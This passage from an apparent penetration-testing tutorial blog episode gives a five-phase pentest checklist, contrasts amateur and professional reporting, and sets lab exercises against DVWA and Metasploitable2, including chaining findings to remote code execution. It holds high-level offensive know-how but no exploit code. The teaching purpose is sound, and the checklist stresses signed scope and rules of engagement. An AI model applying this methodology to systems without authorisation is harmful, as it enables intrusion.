to "Critical: unauthenticated remote code execution." ### Pentest Methodology Checklist Here's the checklist I use. Print it. Pin it to your wall. Check off each item as you go: ``` PRE-ENGAGEMENT [ ] Statement of Work signed [ ] Scope document agreed [ ] Emergency contacts exchanged [ ] Rules of engagement confirmed [ ] Test accounts provided (if applicable) [ ] VPN/access credentials received (if internal) PHASE 1: RECON [ ] Passive DNS enumeration (subfinder, amass) [ ] WHOIS / registration data [ ] Certificate transparency logs [ ] Technology fingerprinting (Wappalyzer, headers) [ ] Nmap service scan [ ] Nmap all-ports scan PHASE 2: ENUMERATION [ ] Web crawl (Burp Spider, wget --mirror) [ ] Directory brute force (dirb, gobuster) [ ] JavaScript analysis for hidden endpoints [ ] API documentation discovery (/swagger, /api-docs) [ ] User/role enumeration [ ] Input vector inventory (all forms, parameters, headers) PHASE 3: VULNERABILITY TESTING [ ] SQL injection (manual + sqlmap) [ ] XSS - reflected, stored, DOM (manual + scanner) [ ] CSRF on state-changing operations [ ] Authentication testing (brute force, bypass, session mgmt) [ ] Authorization testing (IDOR, privilege escalation) [ ] SSRF on URL/redirect parameters [ ] File upload (extension, content-type, magic bytes) [ ] Deserialization (if applicable framework) [ ] API-specific (BOLA, mass assignment, rate limiting) [ ] Business logic (negative values, race conditions) [ ] Client-side (clickjacking, open redirect, postMessage) [ ] CMS-specific (if WordPress/Joomla/Drupal) [ ] WAF bypass (if WAF detected) [ ] Security headers check PHASE 4: EXPLOITATION [ ] Confirm each finding is exploitable [ ] Document reproduction steps with evidence [ ] Identify vulnerability chains [ ] Demonstrate maximum achievable impact [ ] Capture screenshots and request/response pairs PHASE 5: REPORTING [ ] Executive summary (1 page, plain language) [ ] Findings table (sorted by severity) [ ] Individual finding write-ups (all fields complete) [ ] Remediation recommendations (specific + actionable) [ ] CVSS scores + business impact for each finding [ ] Retest recommendation and timeline ``` That Phase 3 checklist maps directly to our series. Episodes 12-25 covered every single vulnerability class listed there. This episode is what ties them all together into a coherent testing methodology. ### The Difference Between Amateur and Professional Here's what I mean by that. An amateur hacker finds a SQL injection, extracts the database, takes a screenshot, and writes "SQL injection found, fix it." A professional pentester finds the same SQL injection, measures its CVSS score, traces the data exposure through to business impact, chains it with password reuse to demonstrate server compromise, writes clear reproduction steps with evidence, provides a specific code fix with effort estimate, and delivers it in a report that management can act on and developers can implement. The finding is the same. The DELIVERY is completely different. And the delivery is what creates value for the client. The report is the product. Everything else is just research ;-) _Het rapport is het product. Alles daarvoor is research._ ### Exercises **Exercise 1:** Run a complete pentest against DVWA + Metasploitable2 using the methodology from this episode. Cover all 5 phases. Produce a findings table with at least 10 vulnerabilities, each rated by CVSS severity. Save your notes in `~/lab-notes/full-pentest-notes.txt`. **Exercise 2:** Write a professional pentest report for your lab findings. Include: executive summary (1 paragraph), findings table (vulnerability, severity, location), and 3 detailed finding write-ups with reproduction steps, impact analysis, evidence (copy the requests/responses), and remediation recommendations. Save as `~/lab-notes/pentest-report.md`. **Exercise 3:** Create a vulnerability chain that demonstrates escalation from a low-severity finding to critical impact. Start with any low/medium finding from your pentest and chain it with other findings until you achieve either RCE or full database access. Document each step in the chain and explain how the individual findings' severities change when combined. --- ### Het rapport is het bewijs. Zonder rapport is er geen pentest. @scipio